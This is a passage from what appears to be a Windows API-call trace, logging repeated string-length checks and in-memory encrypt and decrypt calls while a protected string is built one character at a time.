(param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x945d\x4d0a\x7aa5\x8982\x16c6\xdd55\x6bee\x7b5e") returned 0x10 [0136.115] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x945d\x4d0a\x7aa5\x8982\x16c6\xdd55\x6bee\x7b5e") returned 0x10 [0136.115] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.115] SysStringLen (param_1="lgR/vkRCejqA5O㊣狃") returned 0x10 [0136.115] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x9d45\xbd4f\xa35c\x806e\xd466\x9ef9\x195b\xa8e6") returned 0x10 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x9d45\xbd4f\xa35c\x806e\xd466\x9ef9\x195b\xa8e6") returned 0x10 [0136.116] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.116] SysStringLen (param_1="lgR/vkRCejqA5Oi狃") returned 0x10 [0136.116] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x2816\x2038\xf6ae\x405b\xb923\x2f4e\xa1af\x55ee") returned 0x10 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x2816\x2038\xf6ae\x405b\xb923\x2f4e\xa1af\x55ee") returned 0x10 [0136.116] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.116] SysStringLen (param_1="lgR/vkRCejqA5OiP") returned 0x10 [0136.116] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb") returned 0x10 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb") returned 0x10 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb") returned 0x10 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb") returned 0x18 [0136.116] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.116] SysStringLen (param_1="lgR/vkRCejqA5OiPc〠韴俲缄⨘瓙") returned 0x18 [0136.116] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xc382\x6f32\xa68e\xee49\xdb4e\x2302\x1f2b\x8258") returned 0x18 [0136.116] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xc382\x6f32\xa68e\xee49\xdb4e\x2302\x1f2b\x8258") returned 0x18 [0136.117] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.117] SysStringLen (param_1="lgR/vkRCejqA5OiPc2韴俲缄⨘瓙") returned 0x18 [0136.117] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.117] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xadcb\x2335\x5faa\x3842\xcb0e\xc33f\xa4a5\x63c9") returned 0x18 [0136.117] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xadcb\x2335\x5faa\x3842\xcb0e\xc33f\xa4a5\x63c9") returned 0x18 [0136.117] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.117] SysStringLen (param_1="lgR/vkRCejqA5OiPc2c俲缄⨘瓙") returned 0x18 [0136.117] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.117] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xc393\xe09c\x8f25\xc88d\x8483\xd642\xc9f3\xcd25") returned 0x18 [0136.117] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xc393\xe09c\x8f25\xc88d\x8483\xd642\xc9f3\xcd25") returned 0x18 [0136.117] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.117] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cN缄⨘瓙") returned 0x18 [0136.117] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.117] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xd02c\xd686\xcef5\xf21a\x1780\x51eb\x2092\xeb59") returned 0x18 [0136.117] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xd02c\xd686\xcef5\xf21a\x1780\x51eb\x2092\xeb59") returned 0x18 [0136.117] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.117] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNs⨘瓙") returned 0x18 [0136.117] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xf72f\x4d41\x6b51\x34f9\xb2\x419e\xe61a\x602b") returned 0x18 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xf72f\x4d41\x6b51\x34f9\xb2\x419e\xe61a\x602b") returned 0x18 [0136.118] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.118] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNsl瓙") returned 0x18 [0136.118] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\x2499\x41fa\x3e11\x4815\x2f05\x72e8\xe730\x1ab5") returned 0x18 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\x2499\x41fa\x3e11\x4815\x2f05\x72e8\xe730\x1ab5") returned 0x18 [0136.118] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.118] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslX") returned 0x18 [0136.118] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\x79f7\xe3d1\x9a5\x6ab5\x9350\x7ae5\xaca3\x7f47") returned 0x18 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\x79f7\xe3d1\x9a5\x6ab5\x9350\x7ae5\xaca3\x7f47") returned 0x18 [0136.118] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.118] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXo") returned 0x18 [0136.118] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c") returned 0x18 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c") returned 0x18 [0136.118] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c") returned 0x18 [0136.119] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c") returned 0x20 [0136.119] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.119] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWⅫ硻速㈩ᕛ柯") returned 0x20 [0136.119] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.119] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\xc1d7\x6b09\xcf2b\xb8a3\x1a97\xb178\x292b\xc346") returned 0x20 [0136.119] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\xc1d7\x6b09\xcf2b\xb8a3\x1a97\xb178\x292b\xc346") returned 0x20 [0136.119] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.119] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu硻速㈩ᕛ柯") returned 0x20 [0136.119] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.119] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x780\xf4c5\xb625\x8bbd\xa639\x6f6d\xca31\x7e16") returned 0x20 [0136.119] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x780\xf4c5\xb625\x8bbd\xa639\x6f6d\xca31\x7e16") returned 0x20 [0136.119] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.119] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5速㈩ᕛ柯") returned 0x20 [0136.119] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.119] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x12ec\x4cba\x2536\x81b4\x5335\x7182\x8dc7\x1930") returned 0x20 [0136.119] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x12ec\x4cba\x2536\x81b4\x5335\x7182\x8dc7\x1930") returned 0x20 [0136.119] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.119] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5J㈩ᕛ柯") returned 0x20 [0136.120] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.120] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\xbc33\xdc8a\xea9e\x342b\x1fd1\x7001\x5d0c\x2d62") returned 0x20 [0136.120] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\xbc33\xdc8a\xea9e\x342b\x1fd1\x7001\x5d0c\x2d62") returned 0x20 [0136.120] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.120] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFᕛ柯") returned 0x20 [0136.120] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.120] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x883a\x53f3\x613\xe7b1\x8326\x1363\x61c0\x79d1") returned 0x20 [0136.120] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x883a\x53f3\x613\xe7b1\x8326\x1363\x61c0\x79d1") returned 0x20 [0136.120] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.120] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFb柯") returned 0x20 [0136.120] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.120] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x7f35\x5944\xe3e2\x700c\xdd23\xeedf\x8c76\x4033") returned 0x20 [0136.120] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x7f35\x5944\xe3e2\x700c\xdd23\xeedf\x8c76\x4033") returned 0x20 [0136.120] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.120] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbT柯") returned 0x20 [0136.120] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.120] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\xaee8\x278d\x23d5\xbdba\x6fd9\x9314\x27ea\x6476") returned 0x20 [0136.120] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\xaee8\x278d\x23d5\xbdba\x6fd9\x9314\x27ea\x6476") returned 0x20 [0136.120] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.121] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTL") returned 0x20 [0136.121] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.176] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c") returned 0x20 [0136.176] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c") returned 0x20 [0136.176] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c") returned 0x20 [0136.176] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c") returned 0x28 [0136.176] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.176] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLs韔騽孢漳ꐲ枪ត") returned 0x28 [0136.176] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.176] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\xf893\xb7d3\xd3f\xf697\xb87c\x5d21\xc111\x4a1f") returned 0x28 [0136.176] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\xf893\xb7d3\xd3f\xf697\xb87c\x5d21\xc111\x4a1f") returned 0x28 [0136.176] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.176] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsn騽孢漳ꐲ枪ត") returned 0x28 [0136.176] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.176] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x788c\xac74\x23d\x769d\xaf45\x972e\x4df3\xcb2b") returned 0x28 [0136.176] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x788c\xac74\x23d\x769d\xaf45\x972e\x4df3\xcb2b") returned 0x28 [0136.176] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.176] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx孢漳ꐲ枪ត") returned 0x28 [0136.176] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.177] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x6580\x1edc\x9377\x2994\x2acc\x1c93\xe761\xdf3b") returned 0x28 [0136.177] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x6580\x1edc\x9377\x2994\x2acc\x1c93\xe761\xdf3b") returned 0x28 [0136.177] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.177] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3漳ꐲ枪ត") returned 0x28 [0136.177] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.177] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x505c\x32b\x3cf5\xb500\x45aa\xb19d\xa2\x8a4") returned 0x28 [0136.177] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x505c\x32b\x3cf5\xb500\x45aa\xb19d\xa2\x8a4") returned 0x28 [0136.177] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.177] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3fꐲ枪ត") returned 0x28 [0136.177] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.177] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x9d8\xb98f\x3d4c\xfb8e\xe50c\x93d9\xd4f4\xafaf") returned 0x28 [0136.177] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x9d8\xb98f\x3d4c\xfb8e\xe50c\x93d9\xd4f4\xafaf") returned 0x28 [0136.177] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.177] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3fd枪ត") returned 0x28 [0136.177] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.177] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x9175\x99a0\x8471\x266b\x8e1c\x90c\xee9f\xf7ca") returned 0x28 [0136.177] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x9175\x99a0\x8471\x266b\x8e1c\x90c\xee9f\xf7ca") returned 0x28 [0136.177] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.178] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3fdrត") returned 0x28 [0136.178] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.178] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5f15\x970b\x7aa7\xb280\x5364\x7e85\x27b8\xa34d") returned 0x28 [0136.178] SysStringLen 